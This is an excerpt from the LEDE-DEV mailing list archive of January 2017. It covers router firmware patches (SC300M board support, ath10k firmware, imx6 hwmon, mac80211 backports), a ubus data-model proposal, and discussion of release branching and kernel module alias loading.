+	ath79_register_gpio_keys_polled(-1, SC300M_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc300m_gpio_keys),
+					sc300m_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC300M_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc300m_mdio0_info,
+				    ARRAY_SIZE(sc300m_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC300M_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected tot eh SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC300M, "SC300M", "Abicom SC300M", sc300m_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..b1e29f9 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -168,6 +168,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
+	ATH79_MACH_SC300M,			/* Abicom SC300M */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
 	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
 	ATH79_MACH_SR3200,			/* YunCore SR3200 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index e2867e6..f8445b5 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -464,6 +464,16 @@ define Device/onion-omega
 endef
 TARGET_DEVICES += onion-omega
 
+define Device/sc300m
+  DEVICE_TITLE := Abicom SC300M
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC300M
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc300m
+
 define Device/smart-300
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := NC-LINK SMART-300
-- 
2.9.3



From weedy2887 at gmail.com  Wed Jan 11 09:26:04 2017
From: weedy2887 at gmail.com (Weedy)
Date: Wed, 11 Jan 2017 12:26:04 -0500
Subject: [LEDE-DEV] Fwd: [OpenWrt-Devel]
 Data_Model_Structure_Proposal_for_OpenWRT
In-Reply-To: <9acfaaa4f1634bcf827c3f884b202d43@inteno.se>
References: <9acfaaa4f1634bcf827c3f884b202d43@inteno.se>
Message-ID: <37c6ce08-7699-e67d-74e3-adcd39fda051@gmail.com>

For exposure

---------- Forwarded message ----------
From: "Sukru Senli" <sukru.senli at inteno.se <mailto:sukru.senli at inteno.se>>
Date: 9 Jan 2017 6:22 a.m.
Subject: [OpenWrt-Devel] Data_Model_Structure_Proposal_for_OpenWRT
To: "openwrt at lists.prplfoundation.org 
<mailto:openwrt at lists.prplfoundation.org>" 
<openwrt at lists.prplfoundation.org <mailto:openwrt at lists.prplfoundation.org>>
Cc: "openwrt-devel at lists.openwrt.org 
<mailto:openwrt-devel at lists.openwrt.org>" 
<openwrt-devel at lists.openwrt.org <mailto:openwrt-devel at lists.openwrt.org>>

Dear OpenWrt community,

As we know OpenWrt is gaining popularity among industry players, 
especially in residential gateway world. Being one of these industry 
player who has been developing OpenWrt based software for over five 
years now and being a devoted user of the two core components, UBUS and 
UCI, as Inteno, we see two obstacles in OpenWRT on its? way to be the 
undisputed choice for the majority of the gateway vendors:

Configuration of an entity and data collection from the same entity 
cannot be achieved via single object:
-------------------------------------------------------------------------------------------------------------------------------------------------
For any on-top applications Inteno or third party developers build 
(WebGUI, remote applications etc.) we have to interact with both UBUS 
and UCI (libuci or uci object on ubus) to be able to control a single 
entity. This makes it more difficult for developers as they have to know 
not only what ubus objects but also what uci files and sections they 
must interact with, and interacting with two components increases the 
number of the code they have to write. It also makes it quite 
complicated in terms of access control towards an entity of the software.

There are no ubus data models defined for controlling the entities:
--------------------------------------------------------------------------------------------
If there were data models defined for how to configure/control the 
different entities of the software (network, wireless. voice etc.), any 
application built on top of this data model would seamlessly work across 
different platforms and OpenWRT based systems as long as the 
applications controlling these entities were following the data model. 
Moreover, a defined data model for ubus based on a data model structure 
which addresses the first problem, UCI would no longer be mandatory 
which makes OpenWRT much easier to adapt to for many vendors out there.

We believe the solution to these problems would be developing a data 
model structure towards OpenWRT's ubus with features such as:
- JSON based, well formatted, easy to use/understand
- supports auto code and document generation
- contains version, properties (configuration), methods, valid data 
types/ranges, error codes per object
- allows configuration, data collection and actions within the same 
object as opposed to OpenWRT today where ubus methods + UCI (using ubus 
uci object or libuci or /sbin/uci directly) are used.

Supporting such a data model structure, the ultimate goal would be to 
create an OpenWrt data model to be standardized (ubus objects for 
controlling network, wireless, voice etc.) in order to achieve 
compatibility across different OpenWrt based systems.

IN THE ATTACHMENT, you will find the proposal in PDF format with more 
technical details and examples.

We believe this is a crucial step, when taken, will facilitate the 
adaptation of OpenWrt for the device vendors who are hesitant to it now 
as well as for application developers who depends on the availability of 
certain objects because they will not have to maintain different 
versions for different OpenWrt based systems.

Thank you for your attention and looking forward to your feedback.

Regards,
Sukru Senli
_______________________________________________
openwrt-devel mailing list
openwrt-devel at lists.openwrt.org <mailto:openwrt-devel at lists.openwrt.org>
https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel 
<https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel>

-------------- next part --------------
A non-text attachment was scrubbed...
Name: Data_Model_Structure_Proposal.pdf
Type: application/pdf
Size: 189509 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170111/d3048f60/attachment-0001.pdf>

From sukru.senli at inteno.se  Wed Jan 11 09:47:25 2017
From: sukru.senli at inteno.se (Sukru Senli)
Date: Wed, 11 Jan 2017 17:47:25 +0000
Subject: [LEDE-DEV] [OpenWrt-Devel]
 Data_Model_Structure_Proposal_for_OpenWRT
In-Reply-To: <37c6ce08-7699-e67d-74e3-adcd39fda051@gmail.com>
References: <9acfaaa4f1634bcf827c3f884b202d43@inteno.se>,
 <37c6ce08-7699-e67d-74e3-adcd39fda051@gmail.com>
Message-ID: <c6e1e73aafa14b26996ff0032e41b3e7@inteno.se>

Hi Weedy,

Thank you for forwarding the email to LEDE dev list.

I was under the impression that OpenWrt and LEDE dev lists were subscribed to each other, but I think it was a misjudgement.

Thanks again.

Regards,
Sukru

________________________________________
From: Weedy [weedy2887 at gmail.com]
Sent: Wednesday, January 11, 2017 6:26 PM
To: LEDE Development List
Cc: Sukru Senli
Subject: Fwd: [OpenWrt-Devel] Data_Model_Structure_Proposal_for_OpenWRT

For exposure

---------- Forwarded message ----------
From: "Sukru Senli" <sukru.senli at inteno.se <mailto:sukru.senli at inteno.se>>
Date: 9 Jan 2017 6:22 a.m.
Subject: [OpenWrt-Devel] Data_Model_Structure_Proposal_for_OpenWRT
To: "openwrt at lists.prplfoundation.org
<mailto:openwrt at lists.prplfoundation.org>"
<openwrt at lists.prplfoundation.org <mailto:openwrt at lists.prplfoundation.org>>
Cc: "openwrt-devel at lists.openwrt.org
<mailto:openwrt-devel at lists.openwrt.org>"
<openwrt-devel at lists.openwrt.org <mailto:openwrt-devel at lists.openwrt.org>>

Dear OpenWrt community,

As we know OpenWrt is gaining popularity among industry players,
especially in residential gateway world. Being one of these industry
player who has been developing OpenWrt based software for over five
years now and being a devoted user of the two core components, UBUS and
UCI, as Inteno, we see two obstacles in OpenWRT on its? way to be the
undisputed choice for the majority of the gateway vendors:

Configuration of an entity and data collection from the same entity
cannot be achieved via single object:
-------------------------------------------------------------------------------------------------------------------------------------------------
For any on-top applications Inteno or third party developers build
(WebGUI, remote applications etc.) we have to interact with both UBUS
and UCI (libuci or uci object on ubus) to be able to control a single
entity. This makes it more difficult for developers as they have to know
not only what ubus objects but also what uci files and sections they
must interact with, and interacting with two components increases the
number of the code they have to write. It also makes it quite
complicated in terms of access control towards an entity of the software.

There are no ubus data models defined for controlling the entities:
--------------------------------------------------------------------------------------------
If there were data models defined for how to configure/control the
different entities of the software (network, wireless. voice etc.), any
application built on top of this data model would seamlessly work across
different platforms and OpenWRT based systems as long as the
applications controlling these entities were following the data model.
Moreover, a defined data model for ubus based on a data model structure
which addresses the first problem, UCI would no longer be mandatory
which makes OpenWRT much easier to adapt to for many vendors out there.

We believe the solution to these problems would be developing a data
model structure towards OpenWRT's ubus with features such as:
- JSON based, well formatted, easy to use/understand
- supports auto code and document generation
- contains version, properties (configuration), methods, valid data
types/ranges, error codes per object
- allows configuration, data collection and actions within the same
object as opposed to OpenWRT today where ubus methods + UCI (using ubus
uci object or libuci or /sbin/uci directly) are used.

Supporting such a data model structure, the ultimate goal would be to
create an OpenWrt data model to be standardized (ubus objects for
controlling network, wireless, voice etc.) in order to achieve
compatibility across different OpenWrt based systems.

IN THE ATTACHMENT, you will find the proposal in PDF format with more
technical details and examples.

We believe this is a crucial step, when taken, will facilitate the
adaptation of OpenWrt for the device vendors who are hesitant to it now
as well as for application developers who depends on the availability of
certain objects because they will not have to maintain different
versions for different OpenWrt based systems.

Thank you for your attention and looking forward to your feedback.

Regards,
Sukru Senli
_______________________________________________
openwrt-devel mailing list
openwrt-devel at lists.openwrt.org <mailto:openwrt-devel at lists.openwrt.org>
https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel
<https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel>



From jo at mein.io  Wed Jan 11 10:22:12 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Wed, 11 Jan 2017 19:22:12 +0100
Subject: [LEDE-DEV] Branching LEDE 17.01
In-Reply-To: <1484077722.18918.3.camel@kitschensync.net>
References: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
 <1484077722.18918.3.camel@kitschensync.net>
Message-ID: <9d921b96-a21b-5242-21ba-d86696e5801d@mein.io>

Hi Ted,

so no one else objected and you want to hold of until after the weekend;
therefor I propose to branch on Monday, the 16th.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170111/598cdb10/attachment.sig>

From public_timo.s at silentcreek.de  Wed Jan 11 13:49:29 2017
From: public_timo.s at silentcreek.de (Timo Sigurdsson)
Date: Wed, 11 Jan 2017 22:49:29 +0100
Subject: [LEDE-DEV] [PATCH] ath10k-firmware: Update QCA988X firmware to
 latest version
Message-ID: <1484171369-17300-1-git-send-email-public_timo.s@silentcreek.de>

This patch updates the QCA988X firmware to the latest revision
  firmware-5.bin_10.2.4-1.0-00016
found in the official ath10k-firmware repository.

Tested on TP-Link Archer C7 v2.

Signed-off-by: Timo Sigurdsson <public_timo.s at silentcreek.de>
---
 package/firmware/ath10k-firmware/Makefile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/package/firmware/ath10k-firmware/Makefile b/package/firmware/ath10k-firmware/Makefile
index 5091663..e441700 100644
--- a/package/firmware/ath10k-firmware/Makefile
+++ b/package/firmware/ath10k-firmware/Makefile
@@ -8,9 +8,9 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=ath10k-firmware
-PKG_SOURCE_DATE:=2016-12-15
-PKG_SOURCE_VERSION:=fead2ed867af4e107265059b9f578179d7409867
-PKG_MIRROR_HASH:=87fb1998a728b3182d208b978185232decf49d1c72d1ec37c529fa9139354dcb
+PKG_SOURCE_DATE:=2017-01-11
+PKG_SOURCE_VERSION:=ab432c60437931a165f0aff1a6e3371f358b75dd
+PKG_MIRROR_HASH:=e3188ecd4d7470d3cdde89fefa6258f9ec4f404b23558d1474e5014679b28101
 PKG_RELEASE:=1
 
 PKG_SOURCE_PROTO:=git
@@ -220,7 +220,7 @@ define Package/ath10k-firmware-qca988x/install
 		$(PKG_BUILD_DIR)/QCA988X/hw2.0/board.bin \
 		$(1)/lib/firmware/ath10k/QCA988X/hw2.0/
 	$(INSTALL_DATA) \
-		$(PKG_BUILD_DIR)/QCA988X/hw2.0/10.2.4.70/firmware-5.bin_10.2.4.70.59-2 \
+		$(PKG_BUILD_DIR)/QCA988X/hw2.0/10.2.4-1.0/firmware-5.bin_10.2.4-1.0-00016 \
 		$(1)/lib/firmware/ath10k/QCA988X/hw2.0/firmware-5.bin
 endef
 
-- 
2.1.4



From oswald.buddenhagen at gmx.de  Wed Jan 11 14:19:55 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Wed, 11 Jan 2017 23:19:55 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <22c2dac6-4d8c-10a6-a475-386a988c2e70@mein.io>
References: <20170107180428.GA29356@ugly>
 <5664577d-c503-9af3-db82-b8080ddf7f93@mein.io>
 <20170110224130.GA32427@ugly>
 <22c2dac6-4d8c-10a6-a475-386a988c2e70@mein.io>
Message-ID: <20170111221955.GA5491@ugly>

On Wed, Jan 11, 2017 at 10:54:10AM +0100, Jo-Philipp Wich wrote:
> > there doesn't appear to be anything hard about having the build bots
> > include a file into /etc which contains the _current_ repository
> > url, subdirectory, and image name.
> 
> you forget that up until very recently the same kernel and rootfs was
> used for many different images only varying in filename, image header
> and kernel command line.
>
well, i didn't forget it, i never knew it. ;)

> The squashfs was not repacked for each individual device image, which
> made it impossible to add an individual file into /etc/ for each
> device specific image.
> 
even that wouldn't have been an obstacle, as the image name could be
passed on the command line as well.

not that this would be relevant at this time. my point is simply that
embedding the required meta-data isn't the hard part.


From oswald.buddenhagen at gmx.de  Wed Jan 11 14:37:37 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Wed, 11 Jan 2017 23:37:37 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <e9516790-9276-ab23-cfc7-b33e71ee2ee8@mein.io>
References: <20170108125309.GB8750@ugly>
 <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io>
 <20170110232246.GB32427@ugly>
 <e9516790-9276-ab23-cfc7-b33e71ee2ee8@mein.io>
Message-ID: <20170111223737.GB5491@ugly>

On Wed, Jan 11, 2017 at 11:00:04AM +0100, Jo-Philipp Wich wrote:
> > in my understanding, sysupgrade images (and uimages) are a pretty
> > uniform archive format,
> 
> Actually they're not. There are factory and sysupgrade images which are
> renamed tars, there are trx images, there are FIT images, proprietary
> vendor formats, images containing images and whole lot of other types.
> 
well, that complicates things a bit.
but somehow sysupgrade itself is able to deal with them. so the
worst-case appears to be that the image wouldn't be re-packed, and thus
end up bigger than if it would be actually created from scratch. that's
not worse than if the packages are installed manually.
or am i missing some relevant detail again?

> > a single generic tool should be able to work with all targets, over
> > extended periods of time, and would need to support a rather limited
> > number of features to accomplish the goal of building images from the
> > "regular" image+package downloads that are already available.
> 
> The only real solution is something GNU make based in order to be able
> to re-use the image format knowledge encoded in the per target
> Makefiles. Anything else requires duplication of the image build logic
> which can, and will, quickly diverge from whats in Master.
> 
actually, not the only solution: it's also possible to use a yet
higher-level description, and generate makefile fragments from that.
if this was abstract enough, it could be used as a recipe for unpacking
the images as well, without specifying it separately. obviously, the
backends would need to duplicate the available transforms, but the
amount of work required doesn't seem _extraordinary_ if the goal is
deemed worthwhile.


From bb at npl.de  Thu Jan 12 01:38:43 2017
From: bb at npl.de (Bastian Bittorf)
Date: Thu, 12 Jan 2017 10:38:43 +0100
Subject: [LEDE-DEV] Branching LEDE 17.01 / problems with ath9k
In-Reply-To: <9d921b96-a21b-5242-21ba-d86696e5801d@mein.io>
References: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
 <1484077722.18918.3.camel@kitschensync.net>
 <9d921b96-a21b-5242-21ba-d86696e5801d@mein.io>
Message-ID: <20170112093843.GA16828@medion.lan>

Thanks for these strong steps toward a release,
the last weeks where full of commits and everybody
seems to work very hard.

What i want to mention is, that older ath9k chips (ar91xx?)
are not useable with LEDE anymore, e.g. TP-Link 1043nd v1

This needs more testing and reporting. Maybe someone has
time to jump in. I have opened a ticket for that:
https://bugs.lede-project.org/index.php?do=details&task_id=373

bye, bastian

BTW:
the page https://lede-project.org changed again and 'reporting bugs'
is hidden under 'Developer Guide' which is just...wrong
Please make this more "friendly".


From Jason at zx2c4.com  Thu Jan 12 03:48:20 2017
From: Jason at zx2c4.com (Jason A. Donenfeld)
Date: Thu, 12 Jan 2017 12:48:20 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <20170111093831.GA11399@tuxmachine.polynome.dn42>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
 <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
 <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
 <20170111093831.GA11399@tuxmachine.polynome.dn42>
Message-ID: <CAHmME9pKw3Sea2ec0U9T1wf-y_tY6dg3Z+hig7yoONgeJ==KjQ@mail.gmail.com>

Hey all,

It's not possible to depend directly on xt_hashlimit, because we don't
use any symbols in it. Instead, Netfilter forces us to go through
helper function, which load xt_hashtable dynamically. This works fine
on most systems, where the kernel calls out to modprobe at runtime in
order to get xt_hashtable. However, OpenWRT doesn't ship modprobe (I
think?), so there's no kernel autoloading.

Jason


From Jason at zx2c4.com  Thu Jan 12 03:49:10 2017
From: Jason at zx2c4.com (Jason A. Donenfeld)
Date: Thu, 12 Jan 2017 12:49:10 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <CAHmME9pKw3Sea2ec0U9T1wf-y_tY6dg3Z+hig7yoONgeJ==KjQ@mail.gmail.com>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
 <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
 <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
 <20170111093831.GA11399@tuxmachine.polynome.dn42>
 <CAHmME9pKw3Sea2ec0U9T1wf-y_tY6dg3Z+hig7yoONgeJ==KjQ@mail.gmail.com>
Message-ID: <CAHmME9r8iMW60jkFPCv18zYQ8sVc_8RRaK-AJ6hDRK60+OcO+g@mail.gmail.com>

Actually,

> I think the problem with wireguard in github issue 3790 [1] is that
> wireguard requires NFPROTO_{IPV4,IPV6} "hashlimit" module and
> netfilter subsystem will try to load ipt_hashlimit and ip6t_hashlimit
> which are aliases of xt_hashlimit, but we have aliases along with
> other modinfoinfo stripped from kernel modules with patch
> 204-module_strip.patch.

If indeed the alises are being stripped from those modules, then the
kernel's auto module loader won't find them, and that would indeed be
a problem.


From daniel at makrotopia.org  Thu Jan 12 06:54:29 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Thu, 12 Jan 2017 15:54:29 +0100
Subject: [LEDE-DEV] upstreaming (most) rt2x00 patches
Message-ID: <20170112145429.GB23263@makrotopia.org>

[I had a typo in the lede-dev address in my first attempt to post this]

Hi!

The amount of patches on top of rt2x00 has grown into a huge pile
during the past couple of years. To get things into a shape that allow
discussing and merging them upstream, I created a tree on github based
on wireless-drivers-next.git:

https://github.com/dangowrt/linux/commits/rt2x00-from-openwrt

I had to fix up some of Gabor's patches to still apply on the updated
code base, but apart from those small fixes, things still apply cleanly
on that tree.
Imho the patch adding support for MT7620 still needs some more cleaning
(I fixed some white-space and indention issues already), and both
MT7620 and RT5350 still use mdelay and udelay which should be replaced
in the same way done for other codepaths upstream. It'd also be great
not to mess up RFxxxx and RTxxxx, ie. correctly set the RFxxxx value
for RT5350 and MT7620 according to the actual RF IP used on those
chips. Just for clarification, RT6352 was later renamed to MT7620

I for now didn't add any of the EEPROM-related patches, I a suppose
that only read_eeprom_from_mtd() should go upstream and all file and
firmware-loading mechanics can be considered legacy.
I also didn't add any of the device-tree specific stuff, as that will
need to be documented (Documentation/devicetree/ofbindings/).

However, all the rest should be fine. Maybe the commit messages could
be nicer...

The goal is to have a nice and clean tree which we can asked to be
merged into wireless-drivers-next.git instead of submitting the patches
one-by-one via the mailing list.

Thus I'm asking for your help: Please review the patches, and also
let me know if you had any plans for upstreaming them yourself.


Cheers


Daniel


From ynezz at true.cz  Thu Jan 12 08:06:17 2017
From: ynezz at true.cz (=?UTF-8?q?Petr=20=C5=A0tetiar?=)
Date: Thu, 12 Jan 2017 17:06:17 +0100
Subject: [LEDE-DEV] [PATCH] imx6: Add kmod-hwmon-core dependency to default
 platform packages
Message-ID: <1484237177-28182-1-git-send-email-ynezz@true.cz>

This commit have removed kmod-thermal-imx package:

  commit 7f0796d874f8cbcc1bd7705ff4edf8c30223d2bd
  Author: Felix Fietkau <nbd at nbd.name>

    imx6: remove kmod-thermal-imx, it is already enabled in the kernel config

which made hwmon modules unavailable, because kmod-thermal-imx had
DEPENDS:=+kmod-thermal which had DEPENDS:=+kmod-hwmon-core and currently
nothing selects kmod-hwmon-core.

Signed-off-by: Petr ?tetiar <ynezz at true.cz>
Cc: Felix Fietkau <nbd at nbd.name>
---
 target/linux/imx6/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/target/linux/imx6/Makefile b/target/linux/imx6/Makefile
index 5f7e17b..ea4b5ed 100644
--- a/target/linux/imx6/Makefile
+++ b/target/linux/imx6/Makefile
@@ -20,6 +20,6 @@ include $(INCLUDE_DIR)/target.mk
 
 KERNELNAME:=zImage dtbs
 
-DEFAULT_PACKAGES += uboot-envtools
+DEFAULT_PACKAGES += uboot-envtools kmod-hwmon-core
 
 $(eval $(call BuildTarget))
-- 
1.9.1



From nbd at nbd.name  Thu Jan 12 08:34:38 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 12 Jan 2017 17:34:38 +0100
Subject: [LEDE-DEV] [PATCH] imx6: Add kmod-hwmon-core dependency to
 default platform packages
In-Reply-To: <1484237177-28182-1-git-send-email-ynezz@true.cz>
References: <1484237177-28182-1-git-send-email-ynezz@true.cz>
Message-ID: <75db60f6-2107-7d4c-66dd-258ce0a15066@nbd.name>

On 2017-01-12 17:06, Petr ?tetiar wrote:
> This commit have removed kmod-thermal-imx package:
> 
>   commit 7f0796d874f8cbcc1bd7705ff4edf8c30223d2bd
>   Author: Felix Fietkau <nbd at nbd.name>
> 
>     imx6: remove kmod-thermal-imx, it is already enabled in the kernel config
> 
> which made hwmon modules unavailable, because kmod-thermal-imx had
> DEPENDS:=+kmod-thermal which had DEPENDS:=+kmod-hwmon-core and currently
> nothing selects kmod-hwmon-core.
> 
> Signed-off-by: Petr ?tetiar <ynezz at true.cz>
> Cc: Felix Fietkau <nbd at nbd.name>
I'd prefer enabling that in the kernel config as well.

- Felix




From ynezz at true.cz  Thu Jan 12 08:50:09 2017
From: ynezz at true.cz (=?UTF-8?q?Petr=20=C5=A0tetiar?=)
Date: Thu, 12 Jan 2017 17:50:09 +0100
Subject: [LEDE-DEV] [PATCH v2] imx6: Add hwmon-core driver to the kernel
 config instead of packaging it
In-Reply-To: <75db60f6-2107-7d4c-66dd-258ce0a15066@nbd.name>
References: <75db60f6-2107-7d4c-66dd-258ce0a15066@nbd.name>
Message-ID: <1484239809-30561-1-git-send-email-ynezz@true.cz>

This commit have removed kmod-thermal-imx package:

  commit 7f0796d874f8cbcc1bd7705ff4edf8c30223d2bd
  Author: Felix Fietkau <nbd at nbd.name>

    imx6: remove kmod-thermal-imx, it is already enabled in the kernel config

which made hwmon modules unavailable, because kmod-thermal-imx had
DEPENDS:=+kmod-thermal which had DEPENDS:=+kmod-hwmon-core and currently
nothing selects kmod-hwmon-core.

It's prefered to have it compiled directly in the kernel.

Signed-off-by: Petr ?tetiar <ynezz at true.cz>
Cc: Felix Fietkau <nbd at nbd.name>
---
 target/linux/imx6/config-4.4 | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/target/linux/imx6/config-4.4 b/target/linux/imx6/config-4.4
index 1195e26..a4639af 100644
--- a/target/linux/imx6/config-4.4
+++ b/target/linux/imx6/config-4.4
@@ -106,7 +106,6 @@ CONFIG_CRYPTO_DEV_FSL_CAAM_JR=y
 CONFIG_CRYPTO_DEV_FSL_CAAM_LE=y
 CONFIG_CRYPTO_DEV_FSL_CAAM_RINGSIZE=9
 CONFIG_CRYPTO_DEV_FSL_CAAM_RNG_API=y
-# CONFIG_CRYPTO_DEV_MXS_DCP is not set
 # CONFIG_CRYPTO_GHASH_ARM_CE is not set
 CONFIG_CRYPTO_HASH=y
 CONFIG_CRYPTO_HASH2=y
@@ -238,6 +237,7 @@ CONFIG_HAVE_SMP=y
 CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
 CONFIG_HAVE_UID16=y
 CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
+CONFIG_HWMON=y
 CONFIG_HW_RANDOM=y
 CONFIG_HZ_FIXED=0
 CONFIG_I2C=y
-- 
1.9.1



From ynezz at true.cz  Thu Jan 12 08:55:13 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Thu, 12 Jan 2017 17:55:13 +0100
Subject: [LEDE-DEV] [PATCH v2] imx6: Add hwmon-core driver to the kernel
	config	instead of packaging it
In-Reply-To: <1484239809-30561-1-git-send-email-ynezz@true.cz>
References: <75db60f6-2107-7d4c-66dd-258ce0a15066@nbd.name>
 <1484239809-30561-1-git-send-email-ynezz@true.cz>
Message-ID: <20170112165513.GL12143@ibawizard.net>

> --- a/target/linux/imx6/config-4.4
> +++ b/target/linux/imx6/config-4.4
>  CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
> +CONFIG_HWMON=y

Hm, this is apparently not enough. Needs more fixes probably.

-- ynezz


From koen.vandeputte at ncentric.com  Thu Jan 12 10:34:18 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Thu, 12 Jan 2017 19:34:18 +0100
Subject: [LEDE-DEV] Backporting some mac80211 fixes
Message-ID: <46d132ce-a425-404a-a8ce-70ee2c949fb5@ncentric.com>

Hi Felix,

Would you mind if I send a patch to backport these? :

mac80211: initialize fast-xmit 'info' later
mac80211: fix legacy and invalid rx-rate report
mac80211: fix tid_agg_rx NULL dereference

https://github.com/torvalds/linux/commit/35f432a03e41d3bf08c51ede917f94e2288fbe8c
https://github.com/torvalds/linux/commit/a17d93ff3a950fefaea40e4a4bf3669b9137c533
https://github.com/torvalds/linux/commit/1c3d185a9a0b136a58e73b02912d593d0303d1da


I noticed you have patch 
348-mac80211-initialize-SMPS-field-in-HT-capabilities in your staging dir
so I locally backported the 3 above to nrs 349, 350, 351


Both commits build & run fine together should they both be pushed.


Regards,

Koen



From luci at createc.ro  Thu Jan 12 11:07:32 2017
From: luci at createc.ro (Lucian Cristian)
Date: Thu, 12 Jan 2017 21:07:32 +0200
Subject: [LEDE-DEV] [PATCH ubox 0/6] kmodloader: add module alias support
In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <4472a45c-c0e0-7dfe-71d5-ffe7ddff51b7@createc.ro>

On 11.01.2017 13:54, Yousong Zhou wrote:
> Aliases are essential information for working with kernel modules.  Netfilter
> subsystem will request for ipt_hashlimit and ip6t_hashlimit respectively when
> called with
>
> 	xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1)
> 	
> The kernel __request_module() will then invoke user mode modprobe to load them
>
> 	/sbin/modprobe -q -- ipt_hashlimit
> 	/sbin/modprobe -q -- ip6t_hashlimit
>
> where ipt_hashlimit and ip6t_hashlimit are aliases of xt_hashlimit
>
> The patch depends on another patch in the build system to restore alias info
> to kernel modules.
>
> Yousong Zhou (6):
>    kmodloader: remove redundant glob wildcard char
>    kmodloader: log to kmsg when loading directories of modules
>    kmodloader: modprobe: skip possible command line arguments
>    kmodloader: fix out-of-bound access when parsing .modinfo
>    kmodloader: add module alias awareness
>    kmodloader: make insert_module() idempotent
>
